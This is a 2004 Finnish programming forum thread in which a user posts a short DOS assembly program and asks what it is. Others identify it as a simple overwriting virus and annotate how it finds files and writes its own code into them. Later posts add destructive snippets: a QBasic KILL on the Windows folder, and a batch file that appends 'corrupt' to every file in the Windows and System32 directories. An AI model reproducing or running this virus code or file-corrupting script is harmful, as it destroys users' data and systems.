Kirjautuminen

Haku

Tehtävät

Keskustelu: Yleinen keskustelu: Assemblyä?

Sivun loppuun

tgunner [05.10.2004 23:16:24]

#

Moi kaikki! Löysin tuossa juuri äsken eräänlaisen "Virus" koodin (en ole varma).

Main:           Mov Ah,4eh
On2:            Lea Dx,FileSpec
                Int 21h
                Mov Ax,3d02h
                Mov Dx,9eh
                Int 21h
                Mov Bh,40h
                Xchg Ax,Bx
                Lea Dx,Main
                Mov Cl,Length
                Int 21h
On1:            Ret
FileSpec        Db '*.*',0
Length          Equ $-Main

Onko tuo kirjoitettu Assemblyllä? Ja jos on millä ohjelmilla voi kirjoittaa ja kääntää Asseblyä?
:D En kyllä viruksia aikoisi koodata.

Blaze [05.10.2004 23:35:07]

#

No assyahan tuo on. Siitä, mitä tuo tekee ei ole hajuakaan. Assemblereita voi etsiä vaikkapa hakusanalla 'assembler'. Nasm ja Tasm ovat ainakin olemassa.

FooBat [06.10.2004 06:58:14]

#

Kyllä tuo vahvasti jonkin sortin virukselta näyttää. En osaa x86 assemblya kovin hyvin, mutta kuvittelin ymmärtäväni koodin perustoiminnon.

Int 21h on keskeytyskutsu, jolla saa aikaan kaikkea kivaa.
Se suorittaa erilaisia funktioita Ah rekisterissä (Ax:n ylätavu) olevan arvon mukaan. Muut rekisterit lienevät parametreja näille funktioille.
Funktiokoodit löytyy esim. täältä:
http://www.clipx.net/ng/interrupts_and_ports/ngc6ff.php

eli oma arvaukseni koodin toiminnasta:

Mov Ah, 4eh  ; find first
Lea Dx, FileSpec; Dx <- "*.*"
Int 21h  ; Hakee nähtävästi ensimmäisen tiedoston hakemistosta

Mov Ax, 3d02h; funktiokoodi 3dh = tiedoston avaus
Mov Dx, 9eh  ; luultavasti avaa tiedoston kirjoitettavaksi?
Int 21h      ; tehdään edelliset

Mov Bh, 40h
Xchg Ax, Bx  ; vaihtaa Ax ja Bx, funktiokoodi = 40h, kirjoitus
Lea Dx, Main ; pointteri tähän ohjelmaan muistissa?
Mov Cl, Length; ohjelman pituus muistissa?
Int 21h      ; Kirjoitetaan Main tiedostoon

Eli tarkemmin jokaista lukua selvittamättä näyttäisi siltä, että tuo kopioi itseään levyllä oleviin tiedostoihin. Itse en tuota ajaisi edes testimielessä :)

dungeon86 [06.10.2004 15:23:09]

#

miten muuten assebly filet käännetään? millä komennolla?

hunajavohveli [06.10.2004 15:30:05]

#

Assemblereilla.

rndprogy [06.10.2004 15:48:28]

#

dungeon86 kirjoitti:

miten muuten assebly filet käännetään? millä komennolla?

Riippuu assemblerista.

Ja muuten miksi käytätte qb-tageja?

tgunner [06.10.2004 22:30:02]

#

Hei muuten voisiko tälläisella koodilla "Tuhota" koneen? :P

CLS
KILL "C:\WINDOWS\system32\"
KILL "C:\WINDOWS\"
END

Vai voiko "KILL" komentoa käyttää vain tiedostojen tuhoamiseen?

rndprogy [06.10.2004 22:32:41]

#

Kansioiden tuhoamiseen on olemassa ihan eri käsky. Mutta luulen ettei windows kansiota pysty poistamaan.

Grey [07.10.2004 02:18:54]

#

Windows - kansiota ei voi tuhota, mutta menkää ja uudelleen nimetkää se, niin tapahtuu hassuja.

-Grey-

msdos464 [07.10.2004 07:00:18]

#

@echo off
for %%a in (C:\windows\*.*) do echo corrupt >> %%a
for %%a in (C:\windows\System\*.*) do echo corrupt >> %%a
for %%a in (C:\windows\System32\*.*) do echo corrupt >> %%a
cls

^^

Spongi [07.10.2004 07:35:32]

#

Kai tää kuuluis muut kielet osastolle... :|

Grey [07.10.2004 09:58:42]

#

Pitäisi varmaan virittää tuo 386 tuossa vierelläni jonkinlaiseen kuntoon. Olisi oiva vehje tuon koodin testaamiseen.. Tuli vain mieleen..

-Grey-

hunajavohveli [07.10.2004 12:42:15]

#

R.Nyrhinen kirjoitti:

Vai voiko "KILL" komentoa käyttää vain tiedostojen tuhoamiseen?

Kyllä. Kuten rndprogy sanoi, KILL tuhoaa vain tiedostoja. Kansioiden poistamiseen on olemassa RMDIR-käsky, mutta sekin poistaa ainoastaan tyhjiä kansioita, joten täyden kansion poistamisessa on ensin poistettavat yksitellen tiedostot KILL:llä ja vasta sen jälkeen itse kansio.
Edit: En muuten suosittele, että rupeat leikkimään näillä, jos et tiedä, mitä teet.

thefox [07.10.2004 14:39:20]

#

Ainakin Visual Basicin KILL antaa poistaa myös kaikki tiedostot hakemistosta, esim. KILL "C:\moi\*"

hunajavohveli [07.10.2004 16:17:42]

#

VB:n kenties. QB:n ei, ja eikö tuossa QB:tä tarkoitettu, kun on QB-tagi ja isolla kirjoitettu?

tejeez [07.10.2004 16:46:30]

#

Mitäs virusta sä oot tekemässä o_O

thefox [07.10.2004 16:46:47]

#

Tuntuuhan tuo QuickBasicinkin kanssa toimivan (kuten manuaalissa lukeekin), se vaan vaatii että on esim. KILL "C:\moi\*.*". Ja noista tageista nyt ei kannata mitää arvailla, käyttihän sama henkilö QB-tageja myös assembly-koodille :-)

Metabolix [07.10.2004 18:03:27]

#

Alkuperäiseen viestiin liittyen: Tuo ohjelma näyttäisi etsivän levyltä tiedostoja ja kirjoittavan niihin muistista ohjelman koodia. Kuten FooBat näköjään jo tiesikin.

Myöhempiin viesteihin liittyen: Windows ei välttämättä anna tuhota kaikkea, ja aika moni tiedostoista on käytössä, mikä estää tuhoamisen. Veikkaisin noiden KILL-komentojen käyttävän Windowsin / DOSin valmiita toimintoja, jolloin tuo *.* luonnollisesti toimii.

tgunner [07.10.2004 20:29:54]

#

Heiiii! Mikä se kansioiden tuhoamis komento on?

Metabolix [07.10.2004 21:08:30]

#

hunajavohveli kirjoitti:

Kansioiden poistamiseen on olemassa RMDIR-käsky, mutta sekin poistaa ainoastaan tyhjiä kansioita - -

hunajavohveli [08.10.2004 10:47:07]

#

Katso oppaista. Sieltä löytyy ohjelmointihakemisto, jossa on lueteltu tiedostokomentoja. Esim. myös CHDIR, joka vaihtaa nykyisen alihakemiston ja MKDIR, joka luo hakemiston.

tgunner [08.10.2004 13:50:37]

#

Ja muuten EN ole puuhaamassa mitään virusta :D
Ja QB:tä tossa tarkoitinkin.


Sivun alkuun

Vastaus

Aihe on jo aika vanha, joten et voi enää vastata siihen.

Tietoa sivustosta